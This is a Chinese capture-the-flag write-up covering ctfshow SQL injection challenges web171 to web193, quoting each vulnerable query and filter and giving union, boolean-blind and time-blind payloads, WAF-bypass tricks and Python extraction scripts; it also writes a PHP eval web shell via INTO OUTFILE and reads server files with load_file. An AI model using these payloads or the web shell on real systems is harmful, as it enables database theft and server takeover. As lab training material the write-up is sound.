ctfshow-web-sql注入(上)
本文最后更新于 13 天前,其中的信息可能已经有所发展或是发生改变。

前言

在这个专题的刷题过程中,主要参考了ctfshow题目所带的wp以及以下师傅的wp,以下是他们的link

b477eRy师傅:CTFSHOW WEB入门 SQL注入篇 – b477eRy – 博客园

My6n师傅:https://myon6.blog.csdn.net

web171

查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

没有过滤,永真条件把数据库拿出来

Payload:

1' OR '1' = '1

web172

查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user2 where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

无过滤,但限制username!='flag',直接查不可行,要用联合注入

1' order by 2 --+  #有回显
1' order by 3 --+ #无数据

用户名处为“1”,密码处为“2”

-1' union select 1,2--+

Payload:

库名
-1' union select 1,(select database()) --+ 
# ctfshow_web表名
-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web') --+
# ctfshow_user,ctfshow_user2字段
-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user2') --+
# id,username,passwordflag
-1' union select 1,(select group_concat(password) from ctfshow_user2)--+
# 在最后一个

web173

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//检查结果是否有flag
    if(!preg_match('/flag/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

返回逻辑里新增:返回内容的username不包含flag才会返回查询成功,直接查所有字段自然没问题,不会被过滤

查回显位、库、表、字段不再赘述,此处多了一个回显位和表

Payload:

直接查password
-1' union select 1,(select group_concat(password) from ctfshow_user3),3--+
用户名不出现flag(用hex编码一下)
1' union select id,hex(username),password from ctfshow_user3 --+
替换flag(替换f为g)
-1' union select id,replace(username,'f','g'),password from ctfshow_user3 where username = 'flag

web174

//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//检查结果是否有flag
    if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

增加了新的正则,返回结果内不能有数字和flag,上面hex编码的方法失效,因为hex会出现数字

这里不想用题目给的输入框了,发现直接传参id无效,审计js发现查询接口应该是api/v4.php

在这个接口传id,方便我们抓包测试,这里考虑盲注,先去试有没有不同回显

/api/v4.php?id=1'%20and%201=1%20--+回显:
{
  "code": 0,
  "msg": "\u67e5\u8be2\u6210\u529f",
  "count": 1,
  "data": [{ "username": "admin", "password": "admin" }]
}

/api/v4.php?id=1'%20and%201=2%20--+回显:
{ "code": 0, "msg": "\u67e5\u8be2\u5931\u8d25", "count": 1, "data": [] }

于是找到了真假条件的不同回显,and后替换盲注语句就可以根据回显判断真假了

1' and 1=1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),3,1))>100,1,0) --+
#条件为真 有数据 返回了admin admin
1' and 1=1=if(ascii(substr((select password from ctfshow_user4 limit 24,1),3,1))<100,1,0) --+
#条件为假 无数据 无回显

附上脚本:

原文链接:https://blog.csdn.net/solitudi/article/details/110144623

# @Author:Y4tacker
import requests

url = "http://e076200d-5e74-4121-b2fc-04153243f7a3.chall.ctf.show/api/v4.php?id=1' and "

result = ''
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        payload = f'1=if(ascii(substr((select  password from ctfshow_user4 limit 24,1),{i},1))>{mid},1,0) -- -'
        r = requests.get(url + payload)
        if "admin" in r.text:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)                    

另解:

replace函数替换数字

REPLACE() :将字符串中所有出现的子字符串替换为新的子字符串。

注意:此函数执行区分大小写的替换。

语法:

REPLACE(string, substring, new_string)
参数描述
string必需。原字符串
substring必需。被替换的子串
new_string必需。新的替换子串

Payload:

0' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'a' from ctfshow_user4--+

得到的字符串再用脚本还原:

def rev_replace(txt):
    repl = {
        'A': '1',
        'B': '2',
        'C': '3',
        'D': '4',
        'E': '5',
        'F': '6',
        'G': '7',
        'H': '8',
        'I': '9',
        'J': '0'
    }
 
    for k, v in repl.items():
        txt = txt.replace(k, v)
    return txt
txt = input("输入:")
out = rev_replace(txt)
print("替换后: ", out)

web175

查询语句
//拼接sql语句查找指定ID用户
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";    
返回逻辑
//检查结果是否有flag
    if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
      $ret['msg']='查询成功';
    }

正则过滤了所有ascii字符

这一篇讲了时间盲注的方法:https://blog.csdn.net/Myon5/article/details/140819830

import requests
import string
 
url = 'http://2e5bbcf3-38df-43a5-b8a5-710f30ae9957.challenge.ctf.show/api/v5.php'
dic = string.ascii_lowercase + string.digits + '_-{}'
out = ''
for j in range(1, 100):
    a = 1 #设置一个标志位,用来判断是否已经猜到了最后一位
    for k in dic:
        # payload = f"id=1' and if(substr(database(),{j},1)='{k}',sleep(3),0) --+&page=1&limit=10" # 猜数据库名
        # payload = f"id=1' and if(substr((select table_name from information_schema.tables where table_schema='ctfshow_web' limit 0, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
        # payload = f"id=1' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10" #猜表名
        # payload = f"id=1' and if(substr((select column_name from information_schema.columns where table_schema='ctfshow_web'and table_name='ctfshow_user5' limit 2, 1), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"  # 猜列名
        payload = f"id=1' and if(substr((select password from ctfshow_web.ctfshow_user5 where username='flag'), {j}, 1) = '{k}',sleep(3),0) --+&page=1&limit=10"  # 猜具体字段
        # print(payload)
        re = requests.get(url, params=payload)
        time = re.elapsed.total_seconds()
        # print(f"{j}:{time}")
        if time > 2:
            print(k)
            a = 0 #如果找到字符,则将标志位置0
            out += k
            break #跳出内层的for循环,继续遍历下一位
    if a == 1: #在进行下一次循环前,先判断当前字符是否找到
        break #若没有找到,则跳出外层循环,表示我们已经到了最后一个字符
print(out)

这里into outfile外带查询的数据出来

-1' union select  username,password from ctfshow_user5 into outfile "/var/www/html/a.txt"--+

into outfile也能用来写马

-1' union select 1,"<?php eval($_POST[1]);?>" into outfile '/var/www/html/sh.php' --+

连接不上可以选择勾选“忽略HTTPS证书”

这里要读数据库,需要用到蚁剑的“数据操作”功能

至于账号密码怎么来的,我们连上🐎之后能进api的文件夹了,里面有config.php

后面就是测库连库查flag了

web176

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";
     
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

永真条件就判断所有都是对的了

Payload:

-1' or 1=1 %23

另解:

手测发现三个回显位,执行联合查询查不了,测试发现ban了select大写过滤就行Select

Payload:

 ?id=1' union Select 1,(Select group_concat(schema_name) from information_schema.schemata),database() --+
 
?id=-1' union Select 1,(Select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),3 --+

?id=-1' union Select 1,(Select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_user'),3 --+

?id=-1' union Select 1,(Select group_concat(password) from ctfshow_web.ctfshow_user),3--+

web177

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

永真条件也能注出来,这里过滤了空格,用/**/代替

这里的注释符”–+”最后的加号指代的是空格,但是这里ban了空格,用%23代替–+

?id=1'/**/order/**/by/**/3%23 
 
?id=-1'/**/union/**/select/**/1,(select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),database()%23

?id=-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='ctfshow_web'),3%23

?id=-1'/**/union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='ctfshow_web'/**/and/**/table_name='ctfshow_user'),3%23

?id=-1'/**/union/**/select/**/1,(select/**/group_concat(password)/**/from/**/ctfshow_web.ctfshow_user),3%23

web178

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

仍然是过滤空格,但是上一题的/**/代替空格不可行了,用%09(水平制表符Tab),或者%0b(垂直制表符,换行)

Payload:

?id=1'%09order%09by%093%23

?id=-1'%09union%09select%091,(select%09group_concat(schema_name)%09from%09information_schema.schemata),database()%23

?id=-1'%09union%09select%091,(select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='ctfshow_web'),3%23

?id=-1'%09union%09select%091,(select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='ctfshow_web'%09and%09table_name='ctfshow_user'),3%23

?id=-1'%09union%09select%091,(select%09group_concat(password)%09from%09ctfshow_web.ctfshow_user),3%23

web179

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

依然过滤空格,换成%0c(换页符)即可

payload:

?id=1'%0corder%0cby%0c3%23

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(schema_name)%0cfrom%0cinformation_schema.schemata),database()%23

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'),3%23

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'),3%23

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(password)%0cfrom%0cctfshow_web.ctfshow_user),3%23

web180

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
   //代码过于简单,不宜展示
  }

过滤空格的绕过方法同上题,但是此处过滤了#%23(#),换成另一种注释方法--+,但由于+其实替代的是空格,这里+绕不过,于是换成--%0c

Payload:

?id=1'%0corder%0cby%0c3--%0c

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(schema_name)%0cfrom%0cinformation_schema.schemata),database()--%0c

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema='ctfshow_web'),3--%0c

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(column_name)%0cfrom%0cinformation_schema.columns%0cwhere%0ctable_schema='ctfshow_web'%0cand%0ctable_name='ctfshow_user'),3--%0c

?id=-1'%0cunion%0cselect%0c1,(select%0cgroup_concat(password)%0cfrom%0cctfshow_web.ctfshow_user),3--%0c

web181

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

Payload:

999'or`username`='flag

规避匹配原则:对于preg_match返回值结果定义为0,1,即(未匹配,匹配)

web182

查询语句
//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

这里给出了waf的名单,没有空格和select可用了,flag也被ban了,要考虑对查询语句动手了

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

利用逻辑运算的优先级构造 and 语句,绕过查询语句前面的 username != flag

Payload:

0'or(id=26)and'1
->
select id,username,password from ctfshow_user where username !='flag' and id = '0'or(id=26)and'1' limit 1;
-- 前面id=0不匹配,则会匹配id=26,and'1'恒真,无影响
-- limit 1只返回一条数据
最后变成这样并执行->
SELECT id, username, password FROM ctfshow_user WHERE username != 'flag' AND id = 26 LIMIT 1;

另解:

参考文章:https://blog.csdn.net/Myon5/article/details/140901940

万能密码:1'||1--%0c,用管道符连接恒真条件(%0c可以换成%01~%08任意一个)

直接查询:0'||%0cusername%0clike'f%,管道符连接查询语句,like相当于=%是通配符,相当于*,此外_也是通配符,相当于?

web183

查询语句
//拼接sql语句查找指定ID用户
  $sql = "select count(pass) from ".$_POST['tableName'].";";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
  }   
查询结果
//返回用户表的记录总数
      $user_count = 0;

Post给一个名字进去,他会返回记录的总数,过滤了空格,用括号代替

如:

tableName=ctfshow_user
->
$user_count = 22;
tableName=(ctfshow_user)where(pass)like'ctfshow{%'
->
select count(pass) from (ctfshow_user)where(pass)like'ctfshow{%'
-- 会回显     $user_count = 1
-- 这里我的hackbar会传不动post数据,问题在%处,不明原因
如果我们匹配一个不存在的字段
tableName=(ctfshow_user)where(pass)like'ctfshow{1'
->
--回显:     $user_count = 0;

这里就能发现规律了,存在即为1,不存在即为0,就可以进行布尔盲注了

import requests
import string
url = 'http://e47ac12c-7838-4368-b1a2-3e4ef28ba073.challenge.ctf.show/select-waf.php'
dic = string.digits+string.ascii_lowercase+'-{}'  # flag可能的字符:数字字母-{}
# print(dic)
out = 'ctfshow{'  # 已经确定的部分:flag头
for j in range(0, 50):  # 为了确保flag完整输出,范围尽量大一点,观察到flag完全输出后结束运行即可
    for k in dic:
        payload = {'tableName': f"(ctfshow_user)where(pass)like'{out+k}%'"}  # 将每次更新后的out加上我们新增的一个猜测字符添加到payload
        # print(payload)
        re = requests.post(url, data=payload)
        # print(re.text)
        if '$user_count = 1;' in re.text:
            print(k)
            out += k
            break  # 回显1说明我们猜正确了,跳出内层循环,继续猜下一位
    print(out)

web184

查询语句
//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }
查询结果
//返回用户表的记录总数
      $user_count = 0;

过滤掉了where,用having代替,把空格放出来了,引号被过滤了

having 是从前筛选的字段再筛选,而 where 是从数据表中的字段直接进行的筛选的。

已经筛选出字段的话,having和where等效。

如果没有select出字段的话,having会报错

为了让 HAVING 能够生效,必须配合 GROUP BY 使用,用十六进制代替引号(需要加上0x)代表十六进制的前缀

把引号去掉直接十六进制内容

tableName= ctfshow_user GROUP BY pass HAVING pass LIKE 0x63746673686f777b25

对上面脚本进行修改:

import requests
import string

url = 'http://3dabb856-2ef4-4797-8ef5-5df6faace1fd.challenge.ctf.show/select-waf.php'

# 将原始字符转换为对应的十六进制值
dic = [hex(ord(c))[2:] for c in (string.digits + string.ascii_lowercase + '-{}')]

out = '0x63746673686f777b'  # 已经确定的部分:flag头

for j in range(0, 50):  # 为了确保flag完整输出,范围尽量大一点
    for k in dic:
        payload = {'tableName': f"ctfshow_user group by pass having pass like {out+k}25"}
        re = requests.post(url, data=payload)
        if '$user_count = 1;' in re.text:
            print(k)
            out += k
            break
    print(out)  # 最后自己解一下十六进制即为答案

另解:right/left/inner join代替where

参考文章:https://www.cnblogs.com/recharging-runtime/p/15077477.html


import string
import requests
url = "http://89463a4c-73a0-4eb7-bc52-ed12c47bf60b.challenge.ctf.show:8080/select-waf.php"payload = "ctfshow_user as a right join ctfshow_user as b on b.pass regexp(0x{})"true_flag = "$user_count = 43;"def make_payload(has: str) -> str:
    return payload.format((has).encode().hex())
def valid_payload(p: str) -> bool:
    data = {
        "tableName": p
    }
    response = requests.post(url, data=data)
    return true_flag in response.text
flag = "ctf" # 这里注意表中用 regexp('ctf') 只有一个结果,要提前给出这一小段 flag 头避免其他记录干扰匹配while True:
    for c in "{}-" + string.digits + string.ascii_lowercase:
        pd = flag+c
        print(f"\r[*] trying {pd}", end="")
        if valid_payload(make_payload(pd)):
            flag += c
            print(f"\r[*] flag: {flag}")
            break    if flag[-1] == "}":
        break

web185

查询语句
//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }     
查询结果
//返回用户表的记录总数
      $user_count = 0;

数字被ban了,但是用concat结合true可以拼出数字。逗号分隔每一位

附盲注布尔值

expressionnumber
FALSE0
TRUE1
true+true2
floor(pi())3
ceil(pi())4
floor(pi())+true5
floor(pi())+floor(pi())6
floor(pi())+ceil(pi())7
ceil(pi())+ceil(pi())8
floor(pi())*floor(pi())9
floor(pi())*floor(pi())+true10

附上羽师傅的脚本:

# author: yu22x
import requests  
import string    

# 注入目标 URL
url = "http://8319afbf-281c-4a73-b14e-a29426d0e556.challenge.ctf.show/select-waf.php"

# flag 可能包含的字符集合:十六进制字符 + 特殊符号 -, {, }
s = '0123456789abcdef-{}'

def convert(strs):
 # 将字符串转换为 SQL 中由 TRUE 运算构成的 CHAR 表达式。
   
    t = 'concat('  # 使用 concat 拼接多个 char 字符
    for s_char in strs:
        # 构造 char(TRUE + TRUE + ...),次数等于字符的 ASCII 码值
        t += 'char(true' + '+true' * (ord(s_char) - 1) + '),'
    return t[:-1] + ")"  # 去掉最后一个逗号并闭合 concat


flag = ''  # 存储已猜解出的 flag

# 循环猜测 flag 的每一位(最多猜测 45 位)
for i in range(1, 45):
    print(i)  # 输出当前猜测第几位
    for j in s:  # 遍历可能字符尝试匹配
        # 构造正则表达式 ^ctfshow{已猜出的部分 + 当前猜测字符}
        d = convert(f'^ctfshow{flag + j}')
        
        # 构造 POST 请求参数
        data = {
            'tableName': f' ctfshow_user group by pass having pass regexp({d})'
        }

        # 发送请求
        r = requests.post(url, data=data)

        # 如果响应中出现 user_count = 1,说明匹配成功
        if "user_count = 1" in r.text:
            flag += j  # 添加当前字符到 flag
            print(flag)  # 输出当前 flag

            # 如果遇到结束符 },认为 flag 已获取完整,退出程序
            if j == '}':
                exit(0)
            break  # 匹配成功,跳出内层循环,继续下一位猜测

web186

查询语句
//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ".$_POST['tableName'].";";      
返回逻辑
//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }      
查询结果
//返回用户表的记录总数
      $user_count = 0;

新增过滤了一些符号,但是上一题脚本仍然可用

另解:可以用 regexp 正则表达式来进行匹配

用法:regexp(^c),第一个字符是“c”

比较麻烦,具体步骤见:https://blog.csdn.net/Myon5/article/details/140936579

web187

查询语句
//拼接sql语句查找指定ID用户
  $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";     
返回逻辑
    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }

查看源码得知username和passwd的接收方式

    $username = $_POST['username'];
    $password = md5($_POST['password'],true);

md5加密也有一个奇妙的字符串:ffifdyop

这个字符串被md5加密后会变成:276f722736c95d99e921722cf9ed621c

加密后的字符串被hex解码后会变成:'or'6É]™é!r,ùíb

去掉乱码,真正传入的只剩下:'or'6,原理就是永真条件

登录后能看到api/返回了flag

web188

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";
      
返回逻辑
  //用户名检测
  if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }

  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }

  //密码判断
  if($row['pass']==intval($password)){
      $ret['msg']='登陆成功';
      array_push($ret['data'], array('flag'=>$flag));
    }

username判断:在sql查询中,当列的类型为 string 时,在查询限制条件中使用数字会将字符串转为数字进行比较,非数字开头的字符串会被转化为数字 0

password判断:这里是弱比较,如果弱比较的一边的第一位是字母,它的值就会被强制转换为数字“0”。是数字开头则以到非数字前的数字作为其值。

Payload:

username=0
password=0
# 尝试登录一个账号密码开头均为字母的账号

仍然在api/返回数据中找到flag

web189

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username}";   
返回逻辑
  //用户名检测
  if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
    $ret['msg']='用户名非法';
    die(json_encode($ret));
  }
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

flag在api/index.php文件中

过滤比较多,联合注入和时间盲注都不可用了

尝试爱上一题打法

username=0
password=0
->密码错误
username=1
password=0
->查询失败

也就是username查询的内容存在才会爆密码错误,不存在则会爆查询失败,符合布尔盲注的前提

这里password限制了只能数字,所以这里用username来注

羽师傅的脚本:

#author:yu22x
import requests
import string
url="http://566df5e6-33d0-415f-99e8-3b28a149e67f.challenge.ctf.show/api/index.php"
s=string.printable
flag=''
for i in range(1,1000):
    print(i)
    for j in range(32,128):
        #print(chr(j))
        data={'username':f"if(ascii(substr(load_file('/var/www/html/api/index.php'),{i},1))={j},1,0)",
'password':'1'}
        #print(data)
        r=requests.post(url,data=data)
        #print(r.text)
        if("\\u67e5\\u8be2\\u5931\\u8d25" in r.text):
            flag+=chr(j)  
            print(flag)
            break

web190

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";      
返回逻辑
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }
  //TODO:感觉少了个啥,奇怪

比上一题少给出了username的判断逻辑,同样的,在username不同的情况下出现了两种回显,符合布尔盲注的前提

import requests
import string

url = "http://55420a88-20cf-4283-a564-9ac21e281125.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
    print(j)
    for k in range(32, 128):

        data = {
            #'username': f"0'||if(ascii(substr(database(),{j},1))={k},1,0)#", #数据库名
            #'username': f"0'||if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",#表名
            #'username': f"0'||if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",#列名
            'username': f"0'||if(ascii(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",#字段
            'password': '1'
        }

        re = requests.post(url, data=data)
        if ("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += chr(k)
            print(out)
            break

web191

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";      
返回逻辑
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }
  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

ban掉了ascii盲注,可以用ord代替

ord:将字符转换为其对应的 ASCII 码值。

import requests
import string

url = "http://6304ee7e-76c4-426e-ae85-924e412830b9.challenge.ctf.show/api/index.php"
out = ''
for j in range(1, 50):
    print(j)
    for k in range(32, 128):
        # 猜解数据库名
        data = {
        #     'username': f"0'||if(ord(substr(database(),{j},1))={k},1,0)#",
        #     'username': f"0'||if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{j},1))={k},1,0)#",
        #     'username': f"0'||if(ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{j},1))={k},1,0)#",
              'username': f"0'||if(ord(substr((select f1ag from ctfshow_fl0g),{j},1))={k},1,0)#",
              'password': '1'
        }

        re = requests.post(url, data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in re.text:
            out += chr(k)
            print(out)
            break

另解:

不用 ascii 也可以直接用大于号比较字母的 ascii 大小

# 用了二分法 dejavu~~~
import requests

url = "http://6304ee7e-76c4-426e-ae85-924e412830b9.challenge.ctf.show/api/index.php"
# 表名 CtFsHOw{FL0G,CtFsHOw{usEr
# payload = "0' or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 ID,F1AG,ID,usErNAME,pAss
# payload = "0' or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(substr((select f1ag from ctfshow_fl0g),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef" # “密码错误” 标识符
result = ""
index = 1
while True:
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        data = {
            "username": payload.format(index, chr(p)),
            "password": 0
        }
        response = None
        while True:
            try:
                response = requests.post(url, data=data)
            except:
                continue
            break
        if true_flag in response.text:
            start = p
        else:
            end = p
    if end < start:
        end = start
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

web192

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";     
返回逻辑
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }
  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

ord也被ban了,用web191那个另解的二分法脚本能跑出来

也可以直接爆字符

import requests
 
url = "http://c7b89989-5634-40e7-8c57-57e0ed663dee.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz'
for j in range(1, 50):
    print(j)
    for k in dic:
        data = {
            'username': f"0'||if(substr((select f1ag from ctfshow_fl0g),{j},1)='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

web193

查询语句
  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = '{$username}'";      
返回逻辑
  //密码检测
  if(!is_numeric($password)){
    $ret['msg']='密码只能为数字';
    die(json_encode($ret));
  }
  //密码判断
  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }
  //TODO:感觉少了个啥,奇怪
    if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
        $ret['msg']='用户名非法';
        die(json_encode($ret));
    }

substr被ban了,它的作用主要是从字符串中截取出字符,找一个可代替函数。

mid是与substr用法相似的函数,它的作用与substr相似,改一改前面的脚本就行

MID(str, start, length)

从指定位置开始截取指定长度字符(不支持负数索引)。

SELECT MID('Hello World', 7, 5); -- 输出 'World'

import requests

url = "http://7b01f424-808c-4957-9c17-b8612f0163ef.challenge.ctf.show/api/index.php"
out = ''
dic = '{-}0123456789abcdefghijklmnopqrstuvwxyz_'
for j in range(1, 50):
    print(j)
    for k in dic:
        # 查数据库名
        # data = {
        #     'username': f"0'||if(mid(database(),{j},1)='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查表名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema='ctfshow_web'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查列名
        # data = {
        #     'username': f"0'||if((mid((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flxg'),{j},1))='{k}',1,0)#",
        #     'password': '1'
        # }

        # 查具体字段
        data = {
            'username': f"0'||if((mid((select f1ag from ctfshow_flxg),{j},1))='{k}',1,0)#",
            'password': '1'
        }
        re = requests.post(url, data=data)
        if ("\\u5bc6\\u7801\\u9519\\u8bef" in re.text):
            out += k
            print(out)
            break

另解:leftright函数也能替代substr的功能,只不过输出方式有些不一样

替换上面脚本对应部分(主要注意left和right输出方向是相反的,因此输出部分需要改一改):

# left
        data = {
